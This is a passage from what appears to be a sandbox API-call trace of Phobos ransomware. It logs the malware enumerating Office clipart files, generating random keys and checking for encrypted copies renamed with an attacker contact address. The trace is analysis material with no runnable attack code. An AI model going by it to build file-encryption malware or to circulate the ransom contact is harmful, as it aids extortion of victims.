Office\\root\\CLIPART\\PUB60COR\\PE01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.407] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.408] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5144) returned 1 [0153.408] CloseHandle (hObject=0x574) returned 1 [0153.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf")) returned 0x220 [0153.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01661_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01661_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.408] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.408] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.409] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3546) returned 1 [0153.409] CloseHandle (hObject=0x574) returned 1 [0153.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01797_.wmf")) returned 0x220 [0153.409] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01797_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01797_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01797_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01797_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.409] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.409] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.413] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9172) returned 1 [0153.413] CloseHandle (hObject=0x574) returned 1 [0153.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf")) returned 0x220 [0153.413] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.413] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.413] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.414] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.414] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8132) returned 1 [0153.414] CloseHandle (hObject=0x574) returned 1 [0153.414] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf")) returned 0x220 [0153.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02169_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.415] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.416] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=30178) returned 1 [0153.416] CloseHandle (hObject=0x574) returned 1 [0153.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf")) returned 0x220 [0153.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.416] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.418] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=25266) returned 1 [0153.418] CloseHandle (hObject=0x574) returned 1 [0153.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf")) returned 0x220 [0153.418] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.419] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.421] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.421] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.426] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=47556) returned 1 [0153.426] CloseHandle (hObject=0x574) returned 1 [0153.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02278_.wmf")) returned 0x220 [0153.426] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02278_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02278_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.426] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02278_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02278_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.427] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.427] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.428] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=26920) returned 1 [0153.428] CloseHandle (hObject=0x574) returned 1 [0153.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf")) returned 0x220 [0153.428] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02280_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02280_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.428] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.428] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.429] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=29696) returned 1 [0153.429] CloseHandle (hObject=0x574) returned 1 [0153.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf")) returned 0x220 [0153.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.429] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.430] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.430] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=17796) returned 1 [0153.431] CloseHandle (hObject=0x574) returned 1 [0153.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf")) returned 0x220 [0153.431] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.432] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.433] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.433] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.436] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21288) returned 1 [0153.436] CloseHandle (hObject=0x574) returned 1 [0153.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02296_.wmf")) returned 0x220 [0153.436] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02296_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02296_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.436] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.436] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.437] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.438] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14840) returned 1 [0153.438] CloseHandle (hObject=0x574) returned 1 [0153.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf")) returned 0x220 [0153.438] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.438] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.438] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.443] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7466) returned 1 [0153.443] CloseHandle (hObject=0x574) returned 1 [0153.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf")) returned 0x220 [0153.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.443] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.443] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.444] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1556) returned 1 [0153.444] CloseHandle (hObject=0x574) returned 1 [0153.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf")) returned 0x220 [0153.445] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.446] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.448] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.448] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.449] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1682) returned 1 [0153.449] CloseHandle (hObject=0x574) returned 1 [0153.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03331_.wmf")) returned 0x220 [0153.449] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03331_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03331_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.456] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.456] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.463] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7972) returned 1 [0153.463] CloseHandle (hObject=0x574) returned 1 [0153.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf")) returned 0x220 [0153.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.463] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.464] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.464] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 